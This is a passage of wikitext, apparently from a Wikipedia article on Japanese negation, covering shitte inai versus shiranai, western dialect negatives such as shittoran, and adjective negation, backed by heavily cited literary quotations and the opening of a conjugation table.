On the other hand, {{#invoke:nihongo|nihongo||知っていない|shitte inai|"I didn't take command of it and still don't have it"}} implies perpetuation of ignorance,{{sfnp|Rubin|2004|p=95}} for example in {{#invoke:nihongo|nihongo||人間がなぜ人を殺すか[…]その根本的な理由について、私たちはまだ何も'''知っていない'''、と思われるからである|Ningen ga naze hito o korosu no ka […] sono konponteki na riyū ni tsuite, watashitachi wa mada nani mo '''shitte inai''', to omowareru kara de aru|{{xlat|Why does a human being kill another person? […] it seems that we still '''remain ignorant''' of the basic reasons for that}}}}.{{sfnp|Martin|2004|p=521}} There have been analyses on precise cases where ''shitte inai'' is interchangeable with or even preferable to ''shiranai'', for example when paired with ''shitte iru'' in the same clause,<ref>{{#invoke:cite|book|lang=ja|script-chapter=ja:第7章 「知ラナイ」と「知ッテイナイ」|last2=Masunaga|first2=Kiyoko|script-title=ja:新日本文法研究|last1=Kuno|first1=Susumu|date=1 April 1983|publisher=Taishukan Publishing|location=[[Chiyoda, Tokyo]]|pages=109–116}}</ref> as in {{#invoke:nihongo|nihongo||ドイツ語を知っていても'''知らなくても・知っていなくても'''採用試験には関係ない。|Doitsu-go o shitte ite mo '''shiranakute mo / shitte inakute mo''' saiyō shiken ni wa kankei nai.|{{xlat|Whether you know German or not has nothing to do with the employment test.}}}}; or in cases involving the [[perfect aspect]], only ''shitte inai'', not ''shiranai'', can be used, as in {{#invoke:nihongo|nihongo||新聞を読む'''までに'''、太郎は事件の真相を'''知っていない'''。|Shinbun o yomu '''made ni''', Tarō wa jiken no shinsō o '''shitte inai'''.|{{xlat|'''By''' the time he reads the newspaper, Tarō '''won't have learnt of''' the incident.}}}}, {{#invoke:nihongo|nihongo||太郎は'''今まで一度も'''自分の限界を'''知っていない'''。|Tarō wa '''ima made ichido mo''' jibun no genkai o '''shitte inai'''.|{{xlat|Tarō '''hasn't learnt of''' his own limitations, '''even once until now'''.}}}}<ref>{{#invoke:citation|citation|lang=ja|url=https://seijoh-u.repo.nii.ac.jp/record/9/files/KJ00004285770.pdf|last=Maeda|first=Hitomi|script-title=ja:「知っている」の否定形|title=Negative Form of 'Sit-teiru'|year=2005|publisher=Seijoh University}}</ref> Nevertheless, the question remains as to why ''shiranai'' is uniquely more common than ''shitte inai'' as the negative of ''shitte iru'' to begin with, a phenomenon not yet observable in other verbs.{{sfnp|Miura|2011|p=236}} A recorded conversation with a young child shows that ''shiranai'' is not inherently intuitive in and of itself: when his father asked him a question with ''papa […] shiranai'' ("I don't know […]"), he mirrored his prompt with ''shiranai'' ("I don't know"); yet, when his father asked him with ''shitte 'ru deshō'' ("you know, don't you?"), he erroneously responded with *''shitte 'ru nai'' ("I don't know", or more "accurately", ''shitte 'nai'', though the expected response was still ''shiranai'').<ref>{{#invoke:cite|journal|title=A Study of Japanese Verb Constructions in the Language of a Thirty-Month-Old Child|page=98|url=https://seisen-jc.repo.nii.ac.jp/record/169/files/seisen-kiyo_01-09.pdf|last=Smith Takizawa|first=Karen|publisher=Seisen Jogakuin Junior College|script-journal=ja:清泉女学院短期大学研究紀要|journal=Bulletin of Seisen Jogakuin Junior College|number=1|date=10 March 1983}}</ref> In western dialects, there are {{#invoke:nihongo|nihongo||知っておる→知っとる|shitte oru → shittoru|≈ ''shitte iru → shitte 'ru''}}, {{#invoke:nihongo|nihongo||知っておらん<ref>{{#invoke:cite|book|lang=ja|script-chapter=ja:クロフトランド莊|chapter=We Investigate at Croftlands|script-quote=ja:「ボリソオは今朝、休暇の途中で帰って来たです。電報で呼び戻されたんだが、誰がその電報を打ったか、誰も知っておらん。で、もう一人の男は、昨夜どこかへ行ってしまったです。そのうちにわれわれは奴を捕らえますがね」|quote=" Bolitho came back from his holiday this morning—recalled by telegram. No one knows who sent it. The other man left last night. We'll catch him yet, though."|script-title=ja:ザ・ビッグ4|title=[[The Big Four (novel)|The Big Four]]|authorlink=Agatha Christie|first=Agatha Mary Clarissa|last=Christie|translator-first=Keiko|translator-last=Matsumoto|date=29 March 2013|publisher=Gutenberg21|location=[[Setagaya]], Tokyo}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:銀行家の顔にはまた赤味がさしてきた。そして努力してうなずきながら「最後に絵を見たのは一瞬間前だった。たしかにここに在った。ほかにはだれも知っておらん。だれもだ。この羽目板をこしらえたのは、ずっと昔だからな」|quote=The color had crept back into the banker's face; he nodded with a slight effort. "Last time I looked at it was a week ago. It was there. No one else knew. No one. Had the panel built in long ago."|chapter=31. UPSHOT|script-chapter=ja:三十一 UPSHOT……終演|script-title=ja:ギリシア棺謀殺事件|title=[[The Greek Coffin Mystery]]|authorlink=Ellery Queen|first=Ellery|last=Queen|translator-last=Ishikawa|translator-first=Toshi|date=29 March 2013|publisher=Gutenberg21|location=[[Setagaya]], Tokyo}}</ref><ref name=uno-2016>{{#invoke:cite|book|lang=ja|script-quote=ja:「話というのはこうなんだ」とハーバート・アームストロング卿が、テーブルをたたきながらつづけた。「ウェイド博物館で起きたこの事件だが、これはなんとしてでも、真相を明らかにせんければならんのだよ。きみは四ヵ月もイギリスの新聞を読んでおらんのだから、事件のいきさつは、なにも知っておらんのだろうが、それはそれでよろしい。知らんでも心配ない! 捜査の経過は、ここに記録がそろっておる。このファイルがそれだ。それにまたこの事件は、ここに顔をそろえた三人が、それぞれ各段階を担当しておるんだ。結局ははなばなしい失敗に終わりはしたがね」|quote="You listen to me," Sir Herbert Armstrong went on, whacking the table. "This business at the Wade Museum has got to be thrashed out. You're sure you haven't seen an English newspaper in four months, and don't know ''anything'' about it? Right! All the better! Here's every record verbatim, in these files. We have here the three people who handled the business through all its stages, up to the point where it was triumphantly crowned with failure . . ."|script-chapter=ja:プロローグ|chapter=Prologue|script-title=ja:アラビアンナイトの殺人|title=[[The Arabian Nights Murder]]|authorlink=John Dickson Carr|first=John Dickson|last=Carr|translator-first=Toshiyasu|translator-last=Uno|date=15 January 2016|publisher=Gutenberg21|location=[[Setagaya]], Tokyo}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「エリス爺ですと!」彼は唸った。「あのろくでなしが何かの役に立つとは、こりゃ初耳じゃな。それはあなたさまもよおくご存知じゃろうがの。いったいどこを押したら、エリスおやじのほうがわしよりもあの森のことをよく知っとるちゅうことが出てくるんですかの。あいつが何をいいだすか、聞いてみたいものだて。あの爺はここの樵じゃねえ。畑仕事をする人間じゃ——それだけのこってさ。なに一つ、目新しいことは知っておらんはずじゃ」|quote="Old Ellis!" he growled. "First time ever I hear anyone say old Ellis were any use for any purpose. I should 'a thought you know'd better than that yourself, Master Reginald. What do you suppose old Ellis can tell you better'n what I can about Betton Wood, and what call have he got to be put afore me, I should like to know. His father warn't woodman on the place: he were ploughman—that's what he was, and so anyone could tell you what knows; anyone could tell you that, I says."|script-chapter=ja:隣の境界漂|chapter=[[A Neighbour's Landmark]]|script-title=ja:M・R・ジェイムズ怪談全集|volume=2|trans-title=The Complete Ghost Stories of M. R. James|translator-last=Kida|translator-first=Jun'ichirō|authorlink=M. R. James|first=Montague Rhodes|last=James|date=14 December 2018|publisher=Gutenberg21|location=[[Setagaya]], Tokyo}}</ref><ref name=uno-2019>{{#invoke:cite|book|lang=ja|quote="He doesn't know we know who you are, of course, or can bring you forward to confound him. And above all, he doesn't know that we've found out to our satisfaction that you couldn't have been in ''any'' car, ''anywhere'', at eight-twenty that night, because you were at a party at a certain young lady's house from eight on. Now do you see what we're driving at? All you have to do is tell us at which point you left the car. All we're trying to establish is at what point, from what point on I should say, he took over the car alone. And is solely responsible for your wife's death. Have you any objection to helping us steam that out of him?"|script-quote=ja:「彼は、彼と同乗していたあんたがどういう人物であるかが、われわれに明らかになっているのを知らんのです。まして、われわれがあんたのご援助を得て、彼のアリバイを打破しようなどとは、考えてもおりません。そしてなにより、あんたの行動が、われわれに満足できるまで確認ずみであるのを知っていないのです。あの夜の八時二十分に、どんな車にしろ、あんたが乗っているわけがなく、どんな場所にしろ、走っていることはできない。つまり、八時以後は、若いご婦人のパーティに出席しておられたのを知っておらんのです。これで、われわれの狙いがおわかりになったことと思います。あとは、あんたが車を降りられたのが、どの地点であるかをお聞かせ願うだけです。それでわれわれは、彼がどの地点で——どの地点からというべきでしょうが——ひとりで車を運転し、奥さんの死に、彼ひとりの責任があるのを立証することができます。いかがです? われわれを援助して、彼の口を割らせるのに反対はんさらんでしょうな?」|script-chapter=ja:盛装した死体|trans-chapter=The Well-Dressed Corpse|chapter=[[The Dancing Detective|What the Well-Dressed Corpse Will Wear]]|script-title=ja:晩餐後の物語|title=[[After-Dinner Story]]|authorlink=Cornell Woolrich|first=William|last=Irish|translator-first=Toshiyasu|translator-last=Uno|publisher=Gutenberg21|location=[[Setagaya]], Tokyo|date=15 November 2019}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「でもまあ、おまえは、ムーシュブフと駅まで行ってくれんか」とスーレル先生は言った。「モーヌは、ヴィエルゾンへの道を知っておらんからな。四つ辻のところで迷っとるだろう。三時の汽車には間にあうまいて」|trans-quote="You'll go to the station with Mouchebœuf all the same," says Mr Seurel to me. "Meaulnes doesn't know his way to Vierzon. He'd get lost at crossroads. He wouldn't make it to the train at three."|quote=« Tu iras tout de même à La Gare avec Mouchebœuf, me dit M. Seurel. Meaulnes ne connaît pas le chemin de Vierzon. Il se perdra aux carrefours. Il ne sera pas au train pour trois heures. »|script-chapter=ja:四 脱走|chapter=4 L'évasion|trans-chapter=4: The Escape|script-title=ja:さすらいの青春|title=[[Le grand Meaulnes]]|trans-title=The Wanderer's Youth|publisher=Gutenberg21|location=[[Setagaya]], Tokyo|author=[[Alain-Fournier]]|translator-first=Tamotsu|translator-last=Tanabe|date=21 April 2023}}</ref>→知っとらん<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:何の屈託も無さそうな——上官を眼中に置かないような——シュベイクの顔をつらつら眺めていたドウプ少尉は立腹して訊いた——「お前はわしを知っとるか?」<br>「知っとるであります、少尉殿」<br>少尉は眼を丸くして、どんと足踏みした。「嘘言え、貴様は吾輩を知っとらん!」<br>「知っていますよ、だって我々の大隊の少尉殿じゃありませんか」<br>「知っとらん!」と、ドウプ少尉はどなりつけた。「貴様は吾輩の良い半面を知っとるかもしれん。しかし吾輩は怖いんだぞ、吾輩にかかっちゃ誰でも泣かされるということを知っとらんじゃろ。これでも貴様は吾輩を知っとると言うのか!」<br>「知っとるであります、少尉殿」<br>「うんにゃ、どうあっても貴様は吾輩を知っとらん。馬鹿者め。貴様は兄弟があるか」|quote=Poručík Dub podíval se rozzlobené do bezstarostného obličeje dobrého vojáka Švejka a otázal se ho zlostně: "Znáte mne?"<br>"Znám vás, pane lajtnant."<br>Poručík Dub zakoulel očima a zadupal: "Já vám povídám, že mě ještě neznáte."<br>Švejk odpověděl opět s tím bezstarostným klidem, jako když hlásí raport: "Znám vás, pane lajtnant, jste, poslušně hlásím, od našeho maršbataliónu."<br>"Vy mě ještě neznáte," křičel poznovu poručík Dub, "vy mne znáte možná z té dobré stránky, ale až mne poznáte z té špatné stránky. Já jsem zlý, nemyslete si, já každého přinutím až k pláči. Tak znáte mne, nebo mne neznáte?"<br>"Znám, pane lajtnant "<br>"Já vám naposled říkám, že mne neznáte, vy osle. Máte nějaké bratry?"|trans-quote=Gazing intently at Švejk's face, which seemed without a care as though he had no regard for his superior, Lieutenant Dub angrily asked, "Do you know me?"<br>"Yes, sir, Lieutenant."<br>The lieutenant rolled his eyes and stamped his foot. "That's a damn lie! You don't know me yet!"<br>"Yes, sir, I do. Aren't you a second lieutenant of our battalion?"<br>"You don't know me yet!" yelled Lieutenant Dub. "You may know my good side, but you don't know how terrifying I am, and how I can make anybody that crosses me cry. Do you still think you know me⁉"<br>"Yes, sir, Lieutenant."<br>"No, you goddamn don't know me, you imbecile! Do you have any brother⁉"|script-title=ja:良き兵士シュベイク|title=Osudy dobrého vojáka Švejka za světové války|trans-title=[[The Good Soldier Švejk]]|authorlink=Jaroslav Hašek|first=Jaroslav|last=Hašek|translator-last=Tsuji|translator-first=Tsunehiko|publisher=Gutenberg21|location=[[Setagaya]], Tokyo|volume=2|date=19 December 2012|script-chapter=ja:三 ブダペスト市で|chapter=V Budapešti|trans-chapter=3: In Budapest}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:「ちょっと言っておきたいことがあってな。…..アイルランドは、名誉なことに、ユダヤ人を迫害せぬ唯一の国になっとるそうだ。知っとるかね?知っとらん。では、なぜだかわかるかね?あいつらを絶対に国の中に入れぬからだよ。」|quote=—I just wanted to say, […]. Ireland, they say, has the honour of being the only country which never persecuted the jews. Do you know that? No. And do you know why?<br>[…]<br>—Because she never let them in,|page=10|script-title=ja:国民 (nation) と人種・民族 (race or tribe) の問題 ~ 解読『ヴェニスの商人』、『オセロー』、『ユリシーズ』~|url=https://www.kyu-eikoku-ryoujikan.com/cms/wp-content/uploads/2018/02/%E6%96%87%E5%AD%A6%E3%82%B5%E3%83%AD%E3%83%B313%E3%80%8C%E5%9B%BD%E6%B0%91%E3%81%A8%E4%BA%BA%E7%A8%AE%E3%83%BB%E6%B0%91%E6%97%8F%E3%81%AE%E5%95%8F%E9%A1%8C%E3%80%8D.pdf|first=Shigehisa|last=Yoshizu|script-journal=ja:<ruby>英国<rp>(</rp><rt>イギリス</rt><rp>)</rp></ruby>・<ruby>愛<rp>(</rp><rt>アイル</rt><rp>)</rp></ruby><ruby>蘭<rp>(</rp><rt>ランド</rt><rp>)</rp></ruby>文学サロン⑬|date=February 2018}}</ref><ref name=mori-2020>{{#invoke:cite|book|lang=ja|script-quote=ja:「わかっているだろうがね」とフォン・フラナガンが、声にいとも哀れな響きを混ぜて言った。「どこにおいても、何びとに対しても、公式的には、ただのひとことも発言されていないんだ。警察部内でも、誰一人、何一つ口にしておらん。エスタプール家も、何一つ知っとらん。何かを知っていそうな人間は、ただの一人もおらんときとる」彼の広い顔に、濃い血の気がさしてきた。「おまけに、こん畜生め」と彼は、怒ったように言った。「あんたまでが、何も知らんちゅうわけだ」|quote="You understand," von Flanagan said, pure misery in his voice, "not one single word has been said officially, anywhere or to anybody. Nobody in the police department has been told anything. The Estapoole family doesn't know anything. Nobody seems to know anything." His broad face began to deepen in hue. "And now, damn it," he said angrily, "you don't know anything."|chapter=Chapter 1|script-chapter=ja:第一章|script-title=ja:マローン御難|trans-title=Malone's Troubles|title=Knocked for a Loop|publisher=Gutenberg21|location=[[Setagaya]], Tokyo|translator-first=Ikuo|translator-last=Mori|date=27 November 2020|authorlink=Craig Rice (writer)|first=Craig|last=Rice}}</ref><ref>{{#invoke:citation|citation|lang=ja|url=https://www.town.shinonsen.hyogo.jp/uppdf/1624345211.pdf|last=Nishimura|first=Ginzō|page=9|script-title=ja:令和3年第107回(定例)新温泉町議会会議録(第3日)|date=1 March 2021|script-quote=ja:知っとるとか知っとらんとかいう問題よりも、私は、公の仕事は公助、これを基本にやるべきだと、個人の自立が基本だというふうなことをああいう政治の場では全く発言としてはふさわしくない、そのように思っております。|location=[[Shin'onsen, Hyōgo]]}}</ref><ref>{{#invoke:citation|citation|lang=ja|script-quote=ja:町長、知っとるか知っとらんかだけ答えてください。町長。|page=76|script-title=ja:令和4年第9回海田町議会定例会 会議録(第2号)|url=https://www.town.kaita.lg.jp/uploaded/attachment/14269.pdf|last=Kuwahara Kōji|date=1 December 2022|location=[[Kaita, Hiroshima]]}}</ref><ref>{{#invoke:citation|citation|lang=ja|script-quote=ja:会議規則知っとるか知っとらんのかみたいな話をして、副議長は、今あなたに聞いて初めて知ったみたいなことだったので、この議会規則を知らずにその会議規則に該当するような動議を何で出したんかと、呆れたねというような話をしたのは覚えております。|page=33|script-title=ja:府中町議会議員政治倫理審査会会議録(第2回)|last=Tanaka|first=Nobutake|date=23 January 2024|url=https://www.town.fuchu.hiroshima.jp/uploaded/attachment/26173.pdf|location=[[Fuchū, Hiroshima (town)|Fuchū, Hiroshima]]}}</ref>|shitte oran → shittoran|≈ ''shitte inai → shitte 'nai''}}, {{#invoke:nihongo|nihongo||知っておらぬ<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:ことに變なのはヤコブが登場したことで、この人は福音書の中では、彼の「兄弟」イエスとは、何等近い關係も無かったらしく、彼にそんな幻が現われたということについては、福音書はすこしも與り知っておらぬ。|page=150|script-chapter=ja:第一章 パウロのイエス|chapter=1. Der paulinische Jesus|trans-chapter=Chapter 1. The Pauline Jesus|script-title=ja:キリスト神話|trans-title=[[The Christ Myth]]|title=Die Christusmythe|first=Christian Heinrich Arthur|last=Drews|authorlink=Arthur Drews|publisher=Iwanami Shoten|date=15 December 1951|series={{#invoke:lang|lang|ja|岩波現代叢書}}|translator-last=Harada|translator-first=Tamao|location=[[Chiyoda, Tokyo]]|url=https://dl.ndl.go.jp/pid/2967890/1/85}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:最近に耳にしたのは三重と奈良縣の堺の山村でゴウロギ、ゴロはあの地方でも大きな石のごろ〱として居る處のことだから、其ゴロによく生える木といふ意味に解してよからう。東京京都の人だけは知つて居らぬらしいが、ゴロもゴウラも全國に亙つて、かゝる磽确不毛の地をさう呼んでいる。|page=14|url=https://dl.ndl.go.jp/pid/9541752/1/14|script-chapter=ja:野草雜記|script-title=ja:定本 柳田國男集|volume=22|date=25 April 1962|authorlink=Kunio Yanagita|first=Kunio|last=Yanagita|publisher=Chikumashobo|location=[[Chiyoda, Tokyo]]}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「あのふたりは鳥の正体をはっきりとは知っておらぬ。これは意外に思えることだが、事実と見てまちがいないようです。そうだとなると、この広い世界でそれを知っておるのは、あなたの忠実な友カスパー・グトマン氏ただひとりということになりますな」|quote="Well, sir, it's surprising, but it well may be a fact that neither of them does know exactly what that bird is, and that nobody in all this whole wide sweet world knows what it is, saving and excepting only your humble servant, Casper Gutman, Esquire."|authorlink=Dashiell Hammett|first=Samuel Dashiell|last=Hammett|script-chapter=ja:十一 肥った男|chapter=XI·The Fat Man|title=[[The Maltese Falcon (novel)|The Maltese Falcon]]|script-title=ja:マルタの鷹|publisher=Gutenberg21|location=[[Setagaya]], Tokyo|date=19 December 2012|translator-first=Toshiyasu|translator-last=Uno}}</ref>→知っとらぬ<ref>{{#invoke:citation|citation|lang=ja|script-quote=ja:そうせぬとしゃがですね、そりゃ社会福祉の大体高齢者のそこらあたりも知っとらぬということは間違うとるもん、大体が。|page=48|url=https://www.city.yatsushiro.lg.jp/gikai/kiji00322267/3_22267_123598_up_w7pc2n5j.pdf|last=Yamamoto|first=Yukihiro|script-title=ja:八代市議会経済企業委員会記録|date=11 December 2012|location=[[Yatsushiro]], [[Kumamoto Prefecture|Kumamoto]]}}</ref>|shitte oranu → shittoranu}}, and {{#invoke:nihongo|nihongo||知らん|shiran|≈ ''shiranai''}}.
Unlike verbs, adjectives do not have ''mizenkei'', and instead their negatives are formed with their [[Japanese conjugation (ren'yōkei base)#Infinitive|infinitives]] followed by the negative adjective ''nai'',{{sfnp|Martin|2004|p=372}} which is used to expand adjectives' negative conjugation similarly to how its opposite, the verb ''aru'', is used to expand their affirmative conjugation. Since ''nai'' is of itself an adjective, it is possible to have a [[double negative]], as in {{#invoke:nihongo|nihongo||静かじゃ'''なくない'''んだが|shizuka ja '''naku nai''' n da ga|{{xlat|it's not not ({{=}}it is) quiet all right, but}}}}, {{#invoke:nihongo|nihongo||話したく'''なくない'''けど|hanashitaku '''naku nai''' kedo|{{xlat|I don't not want ({{=}}I do want) to talk, but}}}}, {{#invoke:nihongo|nihongo||一般の読者に取って多少分かりにくい点も'''なくはない'''|ippan no dokusha ni totte tashō wakarinikui ten mo '''naku wa nai'''|{{xlat|there are not not ({{=}}there are) points that, for the general reader, are hard to understand}}}}, etc.{{sfnp|Martin|2004|p=369}}
The western negative auxiliaries ''‑n(u)'' and ''‑zu'' cannot attach directly to adjectival infinitives, and thus require the help of ''aru'' (which does have a ''mizenkei'', ''ara‑''), hence ''‑karan(u)'' (← ''‑ku aran(u)''), ''‑karazu'' (← ''‑ku arazu''), ''‑karazaru'' (← ''‑ku arazaru''), etc. These are primarily used in writing, seldom in speech.{{sfnp|Martin|2004|p=382}}
The word {{#invoke:nihongo|nihongo||怪しからん・怪しからぬ|keshikaran(u)|{{gloss|insolent}}}}<ref name=kenkyusha/> is the negative of the archaic adjective {{#invoke:nihongo|nihongo||怪し|keshi|{{gloss|unusual}}; the modern form would be *''keshii''}}.<ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E6%80%AA%E3%81%97-489898|script-work=ja:コトバンク|script-title=ja:怪し}}</ref> Usually this western negative is used, but the easternized {{#invoke:nihongo|nihongo||怪しからない|keshikaranai → keshikaranē|rather than *''keshiku nai/nē''}} has also been reported as an [[Edo]] expression.<ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E6%80%AA%E3%81%97%E3%81%8B%E3%82%89%E3%81%AA%E3%81%84-2034019|script-work=ja:コトバンク|script-title=ja:怪しからない}}</ref>
{| class="wikitable"
|-
! Dictionary form
! colspan=3 | Pattern {{sfnp|Makino|Tsutsui|2018|pp=576-579|loc="Appendix 1 Basic Conjugations" (Verbs)}}
! Negative form
|-
! colspan=5 style=text-align:left | ''Godan'' and pseudo‑''yodan'' verbs
|-
| {{#invoke:nihongo|nihongo_krt|fasten|結う|yuu/yū}}
| style=text-align:right | {{#invoke:lang|lang|ja|結}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|う}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|結}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|わ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not fasten|結わない|yuwanai}}<br>{{#invoke:nihongo|nihongo_krt||結わん|yuwan}}<br>{{#invoke:nihongo|nihongo_krt||結わぬ|yuwanu}}<br>{{#invoke:nihongo|nihongo_krt||結わず|yuwazu}}
|-
| {{#invoke:nihongo|nihongo_krt|say|<ruby>言<rp>(</rp><rt>い</rt><rp>)</rp></ruby>う|yū}}
| style=text-align:right | '''<span style="color:#04b">{{#invoke:lang|lang|ja|ゆう}}</span>'''
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|いわ}}</span>'''<br>{{#invoke:lang|lang|ja|ゆ}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|わ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not say|言わない|iwanai/yuwanai}}<br>{{#invoke:nihongo|nihongo_krt||言わん|iwan/yuwan}}<br>{{#invoke:nihongo|nihongo_krt||言わぬ|iwanu/yuwanu}}<br>{{#invoke:nihongo|nihongo_krt||言わず|iwazu/yuwazu}}
|-
| {{#invoke:nihongo|nihongo_krt|win|勝つ|katsu}}
| style=text-align:right | {{#invoke:lang|lang|ja|勝}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|つ}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|勝}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|た}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not win|勝たない|katanai}}<br>{{#invoke:nihongo|nihongo_krt||勝たん|katan}}<br>{{#invoke:nihongo|nihongo_krt||勝たぬ|katanu}}<br>{{#invoke:nihongo|nihongo_krt||勝たず|katazu}}
|-
| {{#invoke:nihongo|nihongo_krt|hunt|狩る|karu}}
| style=text-align:right | {{#invoke:lang|lang|ja|狩}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|狩}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not hunt|狩らない|karanai}}<br>{{#invoke:nihongo|nihongo_krt||狩らん|karan}}<br>{{#invoke:nihongo|nihongo_krt||狩らぬ|karanu}}<br>{{#invoke:nihongo|nihongo_krt||狩らず|karazu}}
|-
| {{#invoke:nihongo|nihongo_krt|find out|知る|shiru}}
| style=text-align:right | {{#invoke:lang|lang|ja|知}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|知}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ら}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|ない<br>ん<br>ぬ<br>ず}}</span>'''
| {{#invoke:nihongo|nihongo_krt|not find out / have not found out|知らない|shiranai}}<br>{{#invoke:nihongo|nihongo_krt||知らん|shiran}}<ref name=yumeno-1976-shittoru-shiranu>{{#invoke:cite|book|lang=ja|script-quote=ja:私ゃ知らんが木魚が知っとる……チャカポコ、チャカポコ……。<br>▶あ――ア。わたしゃ知らんが木魚が知っとる。極秘親展正真正銘。ここを限りの話と言うたら。チょっと<ruby>辻<rp>(</rp><rt>つじ</rt><rp>)</rp></ruby><ruby>棲<rp>(</rp><rt>つま</rt><rp>)</rp></ruby>合わぬか知らぬが。|p=147|script-title=ja:ドグラ・マグラ|trans-title=[[Dogra Magra]]|authorlink=Yumeno Kyūsaku|last=Yumeno|first=Kyūsaku|url=https://www.aozora.gr.jp/cards/000096/files/2093_28841.html|orig-date=January 1935|publisher=Shakai Shisōsha|date=30 November 1976|edition=2nd|series={{#invoke:lang|lang|ja|夢野久作傑作}}|volume=Ⅳ|location=[[Bunkyō]], Tokyo}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「お前の言うことを聞いとると」と、警視は苦々しく「本当に重要なことはなにも知らんようだな。なにか知っとるとわしは睨んどったが」|quote=“According to what you say,” said the Inspector bitterly, “you don’t know any of the really important things. I thought you had something.”|script-chapter=ja:十五 わな|chapter=15: The Trap|title=[[The Chinese Orange Mystery]]: A Problem in Deduction|script-title=ja:中国切手殺人事件|authorlink=Ellery Queen|first=Ellery|last=Queen|publisher=Gutenberg21|location=[[Setagaya]], Tokyo|orig-date=1 January 1964|translator-last=Ishikawa|translator-first=Toshi|date=28 May 2014}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:待てーっ やめたまえ こんな町のまん中で!私は科学省のお茶の水博士といって知らん者は知らんが知っとる者は知っとるぞ|p=81|trans-quote=Wait! Stop at once! Not in the middle of town like this! I am Dr Ochanomizu from the Ministry of Science, those who don’t know me don’t know me, but those who know me know who I am|script-chapter=ja:地球最後の日の巻|script-title=ja:鉄腕アトム|trans-title=Iron-Armed Atom|volume=XII|title=[[Astro Boy]]|trans-chapter=The Last Day of Earth|series={{#invoke:lang|lang|ja|手塚治虫漫画全集}}|date=18 December 1998|orig-date=20 January 1981|publisher=Kodansha|location=[[Bunkyō]], Tokyo|isbn=4-06-173232-3|authorlink=Osamu Tezuka|first=Osamu|last=Tezuka}}</ref><ref name=uno-2016/><ref name=uchiyama-2016-shiru-shittoru-shiranu/><ref name=uno-2019/><ref name=mori-2020/><br>{{#invoke:nihongo|nihongo_krt||知らぬ|shiranu}}<ref name=yumeno-1976-shittoru-shiranu/><ref name=uchiyama-2016-shiru-shittoru-shiranu>{{#invoke:cite|book|lang=ja|script-quote=ja:【イーオー】 だが、なおそのほかに、不幸なわたしには、いつがこの流浪の終わりであるか教えて。<br>【プロメテウス】 それを知るよりは、知らぬほうが身のためだ。<br>[…]お館にもし口があったら、はっきりと自分でいいましょうが、わしは知っとる者には話もしようが、知らぬ者には、わしも何も知らぬぞ。[…]<br>【下僕】 では、あなたは人間に定められた掟を御存知で?<br>【ヒッポリュトス】 知らんな、一体俺に何を言いたいのだ?|trans-quote=[Io] But I need more. Tell me, my wretched self, when the end to my wandering is.<br>[Prometheus] It is better for thee to not know than to know of it.<br>[…] If this manor had a mouth, it would say plainly, that I shall speak to those who know, but to those who do not, I do not know anything. […]<br>[Servant] So ye know of the rule dictated to man?<br>[Hippolytus] I do not. Precisely what dost thou want to tell me?|script-title=ja:ギリシア悲劇全集|trans-title=The Complete Collection of Greek Tragedies|author=[[Aeschylus]]|author2=[[Sophocles]]|author3=[[Euripides]]|translator-first=Keijirō|translator-last=Uchiyama|date=20 May 2016|publisher=Gutenberg21|location=[[Setagaya]], Tokyo}}</ref><br>{{#invoke:nihongo|nihongo_krt||知らず|shirazu}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:重度身体障害のある人の中には、テレワークという働き方の選択肢を知らず、就労を諦めている人もいる。そのような人に、テレワークの選択肢があることを知ってもらうため、気軽にテレワークの仕事を体験できる「オンラインお仕事体験会」を実施している。|trans-quote=Among those with severe physical disabilities, there are some who are unaware of the alternative mode of working called [[telework]], and therefore have been out of employment. In order for them to learn of that option, we have been holding “Online Work Experience Sessions,” which enable them to experience telework with ease.|p=82|url=https://www8.cao.go.jp/shougai/whitepaper/r07hakusho/zenbun/pdf/s3-2.pdf|script-chapter=ja:第3章 社会参加へ向けた自立の基盤づくり|script-title=ja:障害者白書 全文|year=2025|publisher=Cabinet Office, Government of Japan}}</ref>
|-
| {{#invoke:nihongo|nihongo_krt|lend|貸す|kasu}}
| style=text-align:right | {{#invoke:lang|lang|ja|貸}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span>'''
